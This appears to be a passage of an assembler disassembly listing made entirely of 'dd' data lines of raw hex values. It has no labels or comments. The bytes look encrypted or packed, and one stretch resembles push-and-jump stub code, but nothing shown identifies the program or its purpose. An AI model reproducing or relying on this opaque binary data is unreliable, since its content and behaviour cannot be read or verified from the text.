		dd 22E60A2Eh, 0D4F38385h, 1D85B5D9h, 2283B8CCh,	4FC6A408h
		dd 1A5ADDA1h, 0F262FF24h, 0F66889Ah, 29590000h,	1435B276h
		dd 0FF0A9599h, 0E3E17E82h, 0CCFB64A8h, 0EACE4DD1h, 0AC702D5Ch
		dd 9B9F1633h, 8185000Ch, 65A9E4E6h, 0C574B108h,	5E55EA8Ah
		dd 6567F335h, 48460536h, 98E7C74Dh, 67073766h, 0CB116188h
		dd 0EB859488h, 9CFh, 1B6180C1h,	0F4A790E0h, 0FABB5D02h
		dd 1E2E8F38h, 9B49DAE2h, 0C3C584B7h, 6C9C1733h,	4B40C4E8h
		dd 7472473Dh, 0EF017C58h, 62D5A2F0h, 20FF3560h,	0D5C6F1Eh
		dd 337381FCh, 108BB9C0h, 27969CF8h, 55EA1818h, 26E09CD4h
		dd 21B27ACBh, 7E0ADBD3h, 0E4EE04Dh, 63E74FC6h, 0FEBE669Ch
		dd 0F0C23A62h, 0EB8h, 0FC007B8Bh, 0E72B6263h, 0CC504D78h
		dd 0BA7E3553h, 9F631E2Dh, 7B8A381Ch, 68650206h,	527EE92Dh
		dd 3254D357h, 67DAB77Bh, 0EA8A0BC6h, 414B8855h,	84216567h
		dd 53F092B5h, 15264ACEh, 522EF15Fh, 0C052FA85h,	0E5E177E4h
		dd 2AB84EB9h, 0E2E4BB79h, 3CD393ABh, 0F0A5AD5h,	442AAE3Bh
		dd 7BA149CBh, 0DB859545h, 13E1868Dh, 0F63114EAh, 9457DDD8h
		dd 8F7h, 9286B900h, 0A04153F0h,	4A9A232Fh, 736D6124h, 0DFEC1034h
		dd 1AF5B989h, 0BAD1A188h, 0F0E8CE7Dh, 33C14553h, 1BC93770h
		dd 54249DAh, 719E8904h,	9C800434h, 4DEE106Fh, 75580FF3h
		dd 60A2EB6h, 4346799h, 0C3F4D9Ch, 114EC391h, 986C39FFh
		dd 83371B9Ah, 2FB84FC6h, 0F4506823h, 41234FD0h,	6DDD62FFh
		dd 0DDB5Fh, 0E39EAE00h,	0E7F801Fh, 37729D0Ah, 5F5674F3h
		dd 403D4CDBh, 0AD153FBCh, 801FE39Eh, 99060A83h,	71EE326Dh
		dd 0BDD85C4Fh, 8B52E14Eh, 0A2D155EAh, 3665677Eh, 0BAD69506h
		dd 0C94BCFFFh, 8DBDF012h, 828FDEEDh, 9D97F30Bh,	0CC8497FEh
		dd 0BF714A4h, 0B058DAD1h, 8595826Ah, 83274h, 0F48BA000h
		dd 24A0D8D5h, 4137D6EEh, 9E15334Ah, 9F28EA6Eh, 0DA61F31Eh
		dd 0BAFE7049h, 0E825E976h, 356CAA7Ch, 81CFD2CFh, 0ED1F6E9Dh
		dd 0DBED7ABEh, 243BA8A0h, 0F6526A23h, 0AA8EB13Ch, 0B84955EAh
		dd 0CF56E43Eh, 254939EAh, 0F0A58916h, 4ACE4FC6h, 0FEEFA3C5h
		dd 0FFCD3D62h, 0D24h, 70B4E7E7h, 63A7D6F7h, 48CCC9C4h
		dd 36FAB1DFh, 23E79AA9h, 0FF0EB498h, 0E4E17E82h, 0CEFA65A9h
		dd 0AED04FD3h
		dd 0E35E3BFFh, 0EA88F742h, 0DDC70C55h, 6366567h, 0E0A64779h
		dd 6E787302h, 9CE31B3Fh, 4C1A326Bh, 0EBB294E7h,	0D5F730B6h
		dd 1CE96A6h, 37D820EAh,	274C92E0h, 786A8595h, 46000007h
		dd 0F09289B9h, 0D1A74653h, 0F304FBAh, 1519949Eh, 5E49DA60h
		dd 88BAC1FAh, 74961115h, 4F7B0239h, 52A02454h, 6D1BEA52h
		dd 8A010F5Eh, 84FE3F88h, 9D4FC67Bh, 3E5E76B9h, 76E662FFh
		dd 0C83A4h, 4B464600h, 762758C7h, 9F1A35B2h, 87FE0C9Bh
		dd 0A8E5E483h, 45CDE764h, 58C74B46h, 31AE722Bh,	9969A15h
		dd 158084F7h, 893A0996h, 1AB955EAh, 36656796h, 8A5D4F05h
		dd 1FBD46F6h, 2A3AA915h, 8166ADD7h, 45F4311Ah, 0DE53F061h
		dd 0BCC9567Ah, 0C74DC9C1h, 7487F608h, 2425D9F5h, 0D1F55169h
		dd 0C3C25DB9h, 4E7844CEh, 0C437EA01h, 0F061E85Bh, 2DE76B53h
		dd 0CD514C7Eh, 957FBB61h, 0CF4D1B85h, 868A6C84h, 77A641D3h
		dd 72000001h, 5366567h,	96B24446h, 813DF71Bh, 59C6CCFEh
		dd 53F092EAh, 0B5F01E69h, 0F91D0185h, 0EC8EBBC2h, 8B83A7DEh
		dd 0B9F4100Fh, 4B0F0581h, 0ADDEAA3Bh, 0EB66C732h, 0C353F092h
		dd 96FACEC5h, 92093865h, 868A53F0h, 634D018Ch, 9AE149DCh
		dd 0D8F5326Fh, 2F1357DDh, 83AF9E1Fh, 824D55E4h,	99C16F6Bh
		dd 58DD8BA8h, 0DB000000h, 0EAE96180h, 6765CFABh, 42E3183Ch
		dd 49DC55D4h, 0CC49DB2Dh, 0A714F6E2h, 0BD380B94h, 0D7BB55E4h
		dd 51289BB3h, 0C5417934h, 0BDFF4E4Fh, 0B1DF55E4h, 0D26CC708h
		dd 0A4C80713h, 0C1BCCB94h, 99F01FC9h, 0AE2A1986h, 0A5A955E4h
		dd 52B9A481h, 0A8C8DA00h, 8DE48Bh, 67300000h, 79063665h
		dd 5827574Ah, 38477726h, 0CA939706h, 53F04E09h,	37443749h
		dd 0D8885C4h, 0E15099FDh, 0C953F0BEh, 53B7C7BAh, 59191B7Fh
		dd 9FACD829h, 0DFDB6E1Eh, 5467EB49h, 77BBF615h,	63A4D9E8h
		dd 69168955h, 0EDE1B32Bh, 0D000000Ah, 0AE39FDB0h, 831CE09Dh
		dd 9E090D88h, 76F13570h, 55D65A57h, 0F9B4D363h,	0E09DAA35h
		dd 0C87831Ch, 3E6D9F08h, 832C9FFAh, 55EA8EB0h, 671C8033h
		dd 76F13568h, 5B225954h, 0FD59712Ch, 8BB18337h,	8E18ADFDh
		dd 0E3F7394h, 0D2DFA7C7h, 0FB906286h, 0A5BAD2C9h, 60D3E8A3h
		dd 0F06974C7h, 9C8B8F53h, 36E2306Dh, 536E4h, 188B7200h
		dd 0F092AC9Fh, 0D1232753h, 81830CDDh, 9FD5E60Ah, 87517374h
		dd 7E92AC14h, 8A73D54Bh, 5EDFE82Ah, 49DCE304h, 0E04179DDh
		dd 55E44B5Dh, 393950BFh, 8BA965F3h, 28B83h, 8FB92900h
		dd 4853F092h, 0A8B8D3B9h, 91AFF084h, 0A6A7400Eh, 0B143C7F7h
		dd 7AFA9F6h, 0FC8349DAh, 0EB66C7CDh, 6855EAE8h,	6ACBC0E4h
		dd 55EAE8DFh, 0C622F054h, 86DE4942h, 4E8D8A26h,	2D606282h
		dd 32540B09h, 69C4B77Bh, 0EA397DCCh, 8092F655h,	0CAC2B9CBh
		dd 2B37B352h, 0BCE888C6h, 8BE61539h, 4FD8D5F4h,	0D6324A41h
		dd 0AA25515Ch, 5A3E4FC6h, 0FE8DD1D5h, 495BB362h, 9CCh
		dd 181C8FBFh, 0B0F7E8Fh, 0F034719Ch, 0DE225977h, 0CB4F4241h
		dd 0A7A66C40h, 8CB926EAh, 76920D11h, 5668F73Bh,	4BB6E327h
		dd 0EA8F5FEAh, 75BFD455h, 26D8F48Bh, 30486C29h,	466A212Fh
		dd 0BEED1FCCh, 0D6D3FE8Dh, 6CF3605Ch, 0B0142461h, 3A590B7Eh
		dd 2EE430A7h, 2C5C4F71h, 17365DFAh, 98286F5h, 8038AC7Bh
		dd 9BFF0F7Eh, 16A0AA85h, 682BAF7h, 0A24810E2h, 3C859522h
		dd 194h, 366567F8h, 54477906h, 0D951B0D0h, 0E5C27891h
		dd 7D8EB29Ch, 0DC867E30h, 5768F749h, 0AB0A0226h, 55E46494h
		dd 0AD809776h, 641F2B32h, 0E464D665h, 0CCC9C655h, 0E06458BCh
		dd 7EA04E12h, 6FFE8BA9h, 95122964h, 55E47CA6h, 28DB593Dh
		dd 53h,	621F2E3Dh, 0F48BAE90h, 27A3DBD2h, 7C08D9EDh, 6C70EE4Fh
		dd 76F149DCh, 0AA2E5E5Bh, 84FF7586h, 0D719A151h, 0AB0ABA78h
		dd 55E46C94h, 0AD809776h, 6C46F532h, 82DD55E4h,	2CE60A87h
		dd 0A98A9E4Ch, 0D9388Bh, 3E4D0000h, 0F89F910Ch,	8C92EDD5h
		dd 67D55FD5h, 79063665h, 0B427574Ah, 926DDC59h,	99E653F0h
		dd 113376Ah, 0D552384Ah, 53F09266h, 457599FDh, 9195083Ah
		dd 2E6563FAh, 4C3F411Eh, 5EEBEA28h, 7A53F021h, 0E7A2AE48h
		dd 0ABD73D7h, 0DCB6AF0Ch, 2232496Dh, 0C5E93DC2h, 62161C68h
		dd 86B5C322h, 0DF446719h, 5368EC49h, 0CAF447E0h, 0B0F55E7h
		dd 0A0AFBE09h, 0ED1BF81Fh, 0F51903CEh, 118C87C6h, 0E3979DF9h
		dd 41F03DA8h, 0C255E7C8h, 0FE0E8985h, 0EFBC769Ah, 706AADE0h
		dd 8691600h, 81A8290h, 0DDED0000h, 0C0C15EA2h, 0B3DE49CDh
		dd 97B532F6h, 808F181Ch, 0AE82090Dh, 70B4E918h,	5FA3DAF7h
		dd 45C9C4C0h, 31F5A8DAh, 89B8E544h, 0A55EA8Dh, 6867C7C9h
		dd 5476F135h, 671FD559h, 79063665h, 0BF01A647h,	3B3D6254h
		dd 6965E417h, 78BA1E2Eh, 27962B8h, 23310000h, 0EAEE96BDh
		dd 7090B4Eh, 0DFE06180h, 6718AAEh, 923F0AABh, 0D0B453F0h
		dd 0CF453857h, 0DA61ECCEh, 56D74249h, 55EA80FBh, 0EA1E1478h
		dd 68D75666h, 8A55EA80h, 8D6244Bh, 568BAE9Fh, 0E996FA1Eh
		dd 0AE642A3Dh, 1FEDDh, 8FB9DB00h, 4853F092h, 4DB8D3B9h
		dd 6797123Eh, 12A411E3h, 0AB49DA61h, 0B3D594A7h, 384734F8h
		dd 1F7B930Ah, 293A8809h, 25EF0C34h, 21595476h, 2F5C28B9h
		dd 0E5A0ADBCh, 77FA49D6h, 157955EAh, 8C649E1Fh,	99FD4FC6h
		dd 0FE6AA696h, 5C6EDE62h, 728h,	6CB0EB1Bh, 57DBD2F3h, 3CC0BDC8h
		dd 2AEEA5A3h, 0F138EBDh, 0EB1AA88Ch, 0D8F572B6h, 0C2CE59DDh
		dd 0A2A443C7h, 0F74A27EBh, 0EAB29BB6h, 31FB1855h, 5366567h
		dd 31494446h, 0FE1A5527h, 0E90DDC54h, 0C2C49B2Bh, 0F605B3CBh
		dd 2F5E609Fh, 7EA14FEBh, 543D8595h, 0FB000001h,	0F5C46567h
		dd 0C37F545Dh, 9BE41438h, 96EE3269h, 9F0A0177h,	0F068231Eh
		dd 56DCA053h, 9906C855h, 6BEF49DCh, 996BD253h, 928955E5h
		dd 994B8627h, 44C855E5h, 88CA21CEh, 8BA99362h, 2D7Ch, 6180B800h
		dd 0D747E01Bh, 2849DC6Ch, 0D4F8B3DFh, 9C3A05A4h, 0E1D855E4h
		dd 0E0326F9Ah, 38E6F41Bh, 468BA89Ah, 0B7h, 3B7294EBh, 656777F9h
		dd 4A790636h, 6CC92457h, 53F092DDh, 5CD9F256h, 53F092EDh
		dd 9410E266h, 0CAC2B9CBh, 0F241EE59h, 0DA53F092h, 0BB9FF3AEh
		dd 16A0A279h, 0A8EBEFBh, 0FE5B22E6h, 0DA53F018h, 5131F5A8h
		dd 0A1B7C4B0h, 0EB323B91h, 0C1E230E3h, 0DFFF9864h, 9EAD9149h
		dd 7EB2CC6h, 11E1CC7h, 3E898B06h, 0A96D202Fh, 1C600F3Eh
		dd 0E3EF379Bh, 270D1236h, 59691690h, 5EAD3E1h, 0ADDD0000h
		dd 90B12EF2h, 838E191Dh, 67650206h, 507FE82Ch, 7E52D95Dh
		dd 40C4B9C8h, 2FF3AAA7h, 151994B0h, 105788Ah, 0B9881594h
		dd 3A55EAB3h, 68671799h, 5476F135h, 8B1FD559h, 0DF074818h
		dd 0DF019E12h, 0F0AAA39Eh, 0D65C2053h, 67940739h, 3C4BED18h
		dd 0A9CD4941h, 0CFFF3591h, 1B1F8EB0h, 3AC1h, 0EE9ED600h
		dd 1754C504h, 670B0D07h, 79063665h, 1AA3AF47h, 49BD051Eh
		dd 0BA6C904Eh, 505EB67Fh, 0ED1D01AAh, 98A7CEA9h, 98F33766h
		dd 61B1802Dh, 4E3253F0h, 345AC4h, 67D00000h, 0AA053665h
		dd 0F0923E0Dh, 43D1B553h, 5C69F063h, 67AD2921h,	0F092D476h
		dd 0E564C753h, 8665AFEAh, 7F2E506Fh, 37B0C0BBh,	13A92AFh
		dd 0D888463h, 65671D07h, 0CBC3BECDh, 0AB132B4Fh, 901D2E5Ah
		dd 49DA6132h, 9A1334B3h, 872F1462h
		dd 28B4F3BAh, 78EBE004h, 0B5561EE8h, 7BB9877Eh,	27EBA2A4h
		dd 0E71786B8h, 0E11A6E7Fh, 0C0CE9344h, 77B0234Fh, 5FC452C4h
		dd 0C939FB5Fh, 15373645h, 92E9A266h, 0CAC5C177h, 1A3256B2h
		dd 0A5A774BEh, 8F5EC6F6h, 0BD65C2F9h, 0B645E883h, 69714DD2h
		dd 0AB035CE4h, 4A799h, 376A9A00h, 5A5374F3h, 433E49D6h
		dd 6B2220BFh, 940938A7h, 91210B90h, 6CFB3F72h, 45E2265Fh
		dd 5DCA4E49h, 0C1AC702Bh, 0B00E3D7Ah, 4E8555EAh, 3665674Ah
		dd 0AA5375F2h, 0C2CE0F74h, 0B9D451C7h, 225A5374h, 6E9E82A6h
		dd 0D6616EFDh, 4A2BEB3h, 0E33155A5h, 6B631A2Ch,	4140F214h
		dd 4F10284Ch, 0D4334B42h, 0B2040E65h, 0D8082D9h, 74BEF312h
		dd 3F418097h, 1E203F4Ch, 41EDA56Fh, 85952A9Bh, 403Bh, 6180F100h
		dd 0F947E01Bh, 7249DC2Ch, 5C6EFD0Eh, 67AD2921h,	7C090544h
		dd 0F3CBC260h, 8286AADBh, 0E472063Bh, 6D202255h, 4274065Eh
		dd 52BD835Fh, 7B9710C0h, 0E93A0800h, 9000003h, 0D45E5372h
		dd 36656752h, 0CBDF9506h, 0DCC87824h, 0C2C49B99h, 0AE3F47CBh
		dd 4A04A1DAh, 0E449DC65h, 0AFD06665h, 264ACEFEh, 60B216h
		dd 0B9D1CCC7h, 0A001395Dh, 55E4859Dh, 7979907Fh, 8BA89FB3h
		dd 38C3h, 6180E900h, 0D747E01Bh, 2849DC6Ch, 3B481724h
		dd 44CE4A42h, 9C063978h, 282655E4h, 5025D6Dh, 0E1EF7088h
		dd 403692AAh, 0B56DC33h, 8755A5CCh, 178BA89Ah, 0E9h, 3665679Dh
		dd 4C494605h, 6A5AD83Ch, 83BBF615h, 0B8D3CAFCh,	0CB2168A8h
		dd 0D55FCE88h, 397496E9h, 70E3B4F5h, 2C3353F0h,	0BCAB901Bh
		dd 4AD80D3Eh, 0D3FEC26h, 0FB0D9A9Eh, 0F1108880h, 7B37708Bh
		dd 0CB49DC55h, 0EC1C99B4h, 0FA5EAA68h, 7FEA4536h, 0E4D5033Eh
		dd 0BDBC8055h, 55E4D58Eh, 0BBF30105h, 0B22D5E2Ah, 0E4D5C675h
		dd 1025D55h, 0F4187C8Ch, 0A6208D3Eh, 0DF4FCB8Dh, 0FE0E7F80h
		dd 645769Ah, 1A7E8E0Bh,	243CAF18h, 52696942h, 0C09F9500h
		dd 0DF48CCC1h, 683AFDB0h, 63031Fh, 2CA9AA8h, 8DBD0000h
		dd 70910E12h, 636EF93Dh, 4745E226h, 305FC84Ch, 1E32B97Dh
		dd 20E499A8h, 0F138A87h, 0F5397490h, 0E125586Ah, 59E835B4h
		dd 0DA55EAB6h, 686777B9h, 5476F135h, 0A7A6D559h, 7FDBF3AAh
		dd 1B1B3EA9h, 0F73D72EEh, 0D3F48B0Dh, 0EC26A2DAh, 484309D8h
		dd 0DC6C7FEFh, 7C8CF049h, 19F7790Fh, 657BCD5Ch,	80A2E69h
		dd 0E41FB28Dh, 3B769255h, 564F7C03h, 5EB56226h,	274E89D4h
		dd 0A91A052Bh, 0F8918Bh, 0AEA60000h, 0D959450Ah, 808A8891h
		dd 84216567h, 53F092B5h, 1C8FB1CEh, 69242FF8h, 1B2A3545h
		dd 66E55666h, 4D122A67h, 0CF4B433Eh, 0BB6C69ABh, 0E753F096h
		dd 0F572B6E5h, 0D36ECFD3h, 5053F094h, 0ACB3C8ECh, 8AD5E5A0h
		dd 8F0B037Eh, 0A51DA96Bh, 9A1B3044h, 49DC71D0h,	0FB95E35Eh
		dd 49D6D0C5h, 2F34E8Fh,	0C7055E4h, 283BEFFh, 3C0055E4h
		dd 8A8EF2F6h, 4D6FEBFAh, 5F206636h, 4B4EECB3h, 3AB763D5h
		dd 5FB8E516h, 0D04FCB3Ah, 1005F6Ch, 80F3888Ch, 7B0A28F0h
		dd 0DE1F4B48h, 5FDBE263h, 0F9969CE0h, 8850D7CAh, 706301EAh
		dd 1960A18h, 59690000h,	4445E226h, 2F5AC549h, 1331AE72h
		dd 0FC0B9498h, 0DAFE7D81h, 0DC205D6Ch, 0CB4F4643h, 0B175305Ch
		dd 95991436h, 152481F8h, 0AE55EAB4h, 6867A365h,	5476F135h
		dd 305B2259h, 49D64575h, 53F092FAh, 23F11579h, 188BBD77h
		dd 0F092AC9Fh, 0D1232753h, 6595083Ah, 71B5E81Ah, 2722D4F6h
		dd 9201307Dh, 0BE8253F0h, 0DE46769Ah, 0E83820Fh, 71BA4218h
		dd 0ED11A346h, 89D51DEh, 5649DCh, 0F1AD2106h, 7484A8D7h
		dd 0BECD2413h, 63FA118Ch, 2FEB2964h, 0C9C2B657h, 0C82DB66Ch
		dd 2120BF4Fh, 0C330486Ch, 2C909FB5h, 69ABB6F2h,	0ED1D90B2h
		dd 7FA7CEA9h, 44E11A6Eh, 45F4CD9Eh, 5C2FF357h, 65D993E1h
		dd 2CE14FF2h, 0CC591E2Dh, 63B19541h, 0EBE39AACh, 0E3D7894h
		dd 0DA58537Fh, 678E6DEAh, 0B3772658h, 0EC0788D8h, 79DE2092h
		dd 0D5E5A0AEh, 0FA0BA371h, 7E307D8Eh, 0F75BE067h, 2B235A68h
		dd 585570AFh, 497B0434h, 24253A52h, 0FD0E5169h,	32696780h
		dd 375EBD1Ah, 66DCCF3h,	87A8B82Bh, 35FBD20Ah, 7CAA99A0h
		dd 25294BA0h, 4236D7EFh, 7E22EC49h, 47CB518Ch, 0D05DC8C3h
		dd 4D946261h, 85819EE2h, 9C96F20Ah, 98B3D928h, 0BE904E1Fh
		dd 8DBD8157h, 59DDD0F2h, 0CAC1BCCEh, 9063DE5Fh,	9CE0778Fh
		dd 53971696h, 3495D52Fh, 0F315345Bh, 0D9EB74B8h, 0B7D5AAA2h
		dd 0C3FF4AEBh, 0EB7411B9h, 9F83A7DEh, 0E209E86Fh, 26EAA1A3h
		dd 0E41487B9h, 3D6h, 0A68C5C00h, 4346767h, 3A52497Bh, 5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h, 2773681Fh, 4890000h, 5E08924h, 4,	8704E883h
		dd 685C2404h, 5FA6h, 81240489h,	4ECh, 24348900h, 1A135468h
		dd 24048B06h, 4C481h, 0EC810000h, 4, 83242489h,	5E042404h
		dd 24348150h, 219D3665h, 5208468Fh, 8BAh, 81F20100h, 9D366532h
		dd 348B5A21h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
		dd 582434FFh, 0E904C483h, 0FFFA5898h, 1DBBF144h, 3E1D2306h
		dd 0AEE61765h, 27C9B865h, 0C503061Ah, 0D9AEE0FFh, 62E134B5h
		dd 0FBC7553Ah, 301E5ABAh, 0EF3C51F0h, 8D8D33BFh, 61A2971h
		dd 1815BE66h, 11E960h, 5AC40000h, 8C75077Bh, 0DB027B37h
		dd 8DE341C0h, 61D86569h, 2B698D89h, 6A0614h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 5484DC3h
		dd 85C7FA5Ch, 6141055h,	7124h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 93C35040h, 0BF0FFC19h, 3D85C7D6h
		dd 61401h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5357C353h, 0FAB9B73h, 9D8BDBB7h
		dd 61410EDh, 11C9B5FFh,	6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0A40182C3h, 0D995FFAAh
		dd 6A06140Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0B571C353h, 5DC6B93Fh,	0E681669Ch
		dd 6A36FEh, 297195FFh, 0C08B0614h, 0B6211FEBh, 0D2C30B13h
		dd 9435CEA2h, 552A15F0h, 0B6DCAF45h, 0C9A0FF60h, 0DFE6FDFh
		dd 6D734DA5h, 0A7E9ADh,	49A30000h, 0CC4726C5h, 38F3BAF5h
		dd 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h
		dd 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h
		dd 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h,	9E96AFF4h
		dd 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h, 0DB4D5200h
		dd 5EF357h, 9DBBEFB6h, 9500BD89h, 0EFB69F89h, 0D00097BBh
		dd 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h, 0Ah dup(0)
		dd 0F5CE900h, 18680000h, 0E9061A2Ch, 0FFFA5690h, 1A2D0668h
		dd 5686E906h, 0DB68FFFAh, 0E9061A2Dh, 0FFFA567Ch, 1A2F3B68h
		dd 5672E906h, 0FF68FFFAh, 0E9061A2Fh, 0FFFA5668h, 1A30C768h
		dd 565EE906h, 5F68FFFAh, 0E9061A31h, 0FFFA5654h, 1A321A68h
		dd 564AE906h, 0D868FFFAh, 0E9061A32h, 0FFFA5640h, 1A336668h
		dd 5636E906h, 2D68FFFAh, 0E9061A34h, 0FFFA562Ch, 1A356468h
		dd 5622E906h, 4A68FFFAh, 0E9061A37h, 0FFFA5618h, 1A384268h
		dd 560EE906h, 95B5FFFAh, 7889161Ah, 6B660105h, 4F7DEA2Eh
		dd 3857D054h, 163AC145h, 28ECA1A0h, 171B92BFh, 0FD017C88h
		dd 0E92D6062h, 41F03D8Ch, 0C255EAB8h, 65670FB1h, 92B58421h
		dd 666553F0h, 0C3B7132Bh, 59205B7Fh, 3A3712Ch, 0CF534A7Ch
		dd 292256B7h, 0DC62C28Ch, 14272B49h, 41793455h,	3E7F4FC5h
		dd 55E4800Fh, 0CF0B62EDh, 8BA89B21h, 20BDh, 61807B00h
		dd 0D747E01Bh, 2849DC6Ch, 0AA951424h, 4855E49Ch, 0C614668Dh
		dd 0D08BA89Ah, 100h, 216567DCh,	0F092B584h, 1D2C8953h
		dd 9653F093h, 567ADEB2h, 69242625h, 45441BABh, 0E31B92B3h
		dd 344B4367h, 1C639B12h, 0C898B3EAh, 0A99FA1B4h, 0B736E83Eh
		dd 793A1E91h, 6219D95Bh, 0BD9BB6F7h, 341853F0h,	0B835FFFEh
		dd 0E27953F0h, 399DADE0h, 6B2224FBh, 970638A7h,	9AEEFF67h
		dd 4962C461h, 0B79B49DCh, 46411873h, 14F5C94Bh,	6366D9Bh
		dd 2F6A6582h, 6497BB1Fh, 9CAFEAE5h, 0E4D92013h,	55DFA355h
		dd 6360FF6Ah, 4A1122Ah,	55E4D935h, 6CA6CA4Eh, 0CB810C61h
		dd 3E10604Fh, 0EB1695A5h, 0D3B7B341h, 0EFA2A1B8h, 108DBC2Bh
		dd 29D430Fh, 0FFCD3D63h, 0CCFh,	0D85C4F7Fh, 0CB4F3E4Fh
		dd 0B074315Ch, 9E621937h, 8B8F0201h, 67662C00h,	4C79E62Ah
		dd 3652CD51h, 1628B77Bh, 8BF6A367h, 0EABE1F2Ah,	0B57F9455h
		dd 0F1356867h, 0BCAB5476h, 4E489927h, 0EB10238Ch, 0AF9353F0h
		dd 51A3678Bh, 0E01B6180h, 0DC6CD747h, 6ED62849h, 24F0C57Fh
		dd 367787ABh, 55E49F17h, 6A621937h, 6CBBF615h, 0F5B0DE60h
		dd 3EA1B9D1h, 2B1653D7h, 0B97B3254h, 71BFBBD2h,	0D8BA899h
		dd 0ADh, 366567ABh, 0AC4A7906h,	72D6E69Fh, 0F41893B5h
		dd 97AF65C4h, 0DDEF53F0h, 587C3755h, 0B0394BD4h, 0D168F459h
		dd 0A99805CCh, 2A53F087h, 0EE1E0226h, 0EAE19776h, 0A8E5E07Fh
		dd 6FCF6B6Ah, 1C6049DCh, 0F3996818h, 0B5F26DD8h, 55E4BF86h
		dd 0FAFB391Dh, 4FCBDA80h, 0F7768589h, 0C661A5D8h, 8345CAC7h
		dd 1D6302A0h, 0BE19FADh, 61610000h, 4C7DEA2Eh, 3752CD51h
		dd 1B29B67Ah, 4039C60h,	0D2068589h, 0E4286564h,	0D3574E7Bh
		dd 0B97D3854h, 9D611C2Eh, 1D2C89F0h, 9655EABFh,	0F48BBB7Dh
		dd 3E4FD8D5h, 59DB3F4Fh, 0A0E8382h, 0EC306B9Dh,	36656726h
		dd 0B3454605h, 65E11994h, 6CF3B341h, 40DF235Ah,	2C334845h
		dd 0EE6A621Bh, 0C5C79824h, 8AC52D6h, 0C16E0FDEh, 53F09272h
		dd 92DA69B6h, 0F55953F0h, 4E4B4681h, 92B6DA3Eh,	6BCA3C79h
		dd 0FF4349DCh, 4B1D210Eh, 0BDA5C7Eh, 89E14E7Dh,	0AAB442AEh
		dd 262596A6h, 0F95D6D28h, 1662833Bh, 296466E5h,	3605A211h
		dd 4D5042AFh, 5C6FA5C9h, 6D266AD3h, 6A61E54Ah, 4241F113h
		dd 49102B4Fh, 1B1433Eh,	0E6296466h, 6563BC2Eh, 0CB486F6h
		dd 0BC00000Bh, 920D118Ch, 6FF83C71h, 7AE52964h,	52CD514Ch
		dd 31BA7E33h, 0E598B71Fh, 0C898621h, 38739F08h,	22596BF4h
		dd 0EF48B3DEh, 55EABF5Ch, 6778BCD7h, 9E063665h,	0CAC7C24Fh
		dd 0FD3A95A6h, 53F0924Eh, 0F0B341C5h, 0BE8D2A85h, 3553F092h
		dd 0D4E499AAh, 0D7C64C70h, 49DC967Bh, 0FC84888Ch, 0C36C9FEDh
		dd 4FC8936Bh, 64D750C3h, 0FF5FD89Bh, 0E569999Bh, 64179ED6h
		dd 96E741BEh, 0BE81209Ch, 5C5FD85Eh, 0D2185AB1h, 0EC91BD58h
		dd 55h,	0A2DFEA71h, 6180EE50h, 2875E01Bh, 53F09219h, 639B1631h
		dd 65AF93E7h, 2C63DD5Ah, 9FE849DCh, 75033B72h, 0A4A8F083h
		dd 35597DBBh, 0FF38AB06h, 55E47E4Ch, 1AB143C7h,	2E6FB3EEh
		dd 55E47E1Dh, 7B900B3Dh, 9FAFE6E4h, 0AE39F93Bh,	0C5D7E7A2h
		dd 0A2Bh, 1B618053h, 376A99E0h,	36718307h, 0DA4847E9h
		dd 3E7FEC49h, 55EAB803h, 6398BC80h, 6FB3EA1Ch, 0ACDFCEF0h
		dd 0B845F431h, 81DE55EAh, 95F10984h, 9003A371h,	68252625h
		dd 46F5F450h, 7655EAB8h, 0E5695D58h, 276972Fh, 6237AC09h
		dd 0D4B84FC0h, 0F7A6D8A7h, 1B92B433h, 1E6A7BE3h, 0DFEB72EDh
		dd 862794A4h, 5FC4C64Bh, 0D22044C8h, 0E8173BE3h, 0CF503445h
		dd 5CE4EE21h, 0AC5D6FDFh, 5C000009h, 32AD712Ch,	0F989C11h
		dd 1A858904h, 0F26DB1ECh, 0D15ADED3h, 453857FFh, 6C2926C1h
		dd 98133FA8h, 82F90B94h, 0FA8137Eh, 55EABD3Ch, 0B9981CB7h
		dd 53F09286h, 0E35EDF4Ah, 0CB53F092h, 8A8EC2B9h, 1B336E9Dh
		dd 0A04175BFh, 6906A7D4h, 0EA49DA48h, 0FA165566h, 90B8FBFh
		dd 813543BEh, 8BB2A32h,	0F48A8E60h, 707ED119h, 0A0DBEDA2h
		dd 4CFF38ABh, 0C755EAD3h, 8A01B143h, 0F4B541FAh, 0D022E079h
		dd 7992093Bh, 5892A10Eh, 2D1155EAh, 0F954C7E7h,	0EA588DBCh
		dd 0F0020655h, 0A2A42DBCh, 0E474CF19h, 8DB1B6E8h, 79D55269h
		dd 0B54FC609h, 316EDD5Ah, 61E55FDEh, 2CF35793h,	62FECE88h
		dd 0E8F2C038h, 98000008h, 76F13568h, 4BD45855h,	26C14540h
		dd 3EA96D28h, 0D8E920Fh, 316C9B2Bh, 585572EDh, 443F4BD4h
		dd 762527C0h, 3B64C7B2h, 55EABD08h, 6744488Bh, 4F053665h
		dd 0B90B313Ah, 9212E0B9h, 0AB1C5321h, 0E6424D29h, 0AB7D0D24h
		dd 0C84A3293h, 82BAF113h, 94E60DE2h, 8594E346h,	44E50h
		dd 61805C00h, 9FAFDEE0h, 0A4E1EC3Bh, 0FF0C3094h, 3E319569h
		dd 11E3BB9h, 1B7F8F02h,	8C01AE19h, 0E749DA5Ch, 4346998h
		dd 106F9C80h, 0EC7BBFEEh, 0AABA3DAh, 55EAAC33h,	546715F4h
		dd 2A6762F9h, 413C4D12h, 74E6D75Dh, 0BA4FC6A8h,	0DFEFA6A3h
		dd 0E09DAC7Bh, 7A89D612h, 0B0D4D1FCh, 17183C98h, 62FF2F7Dh
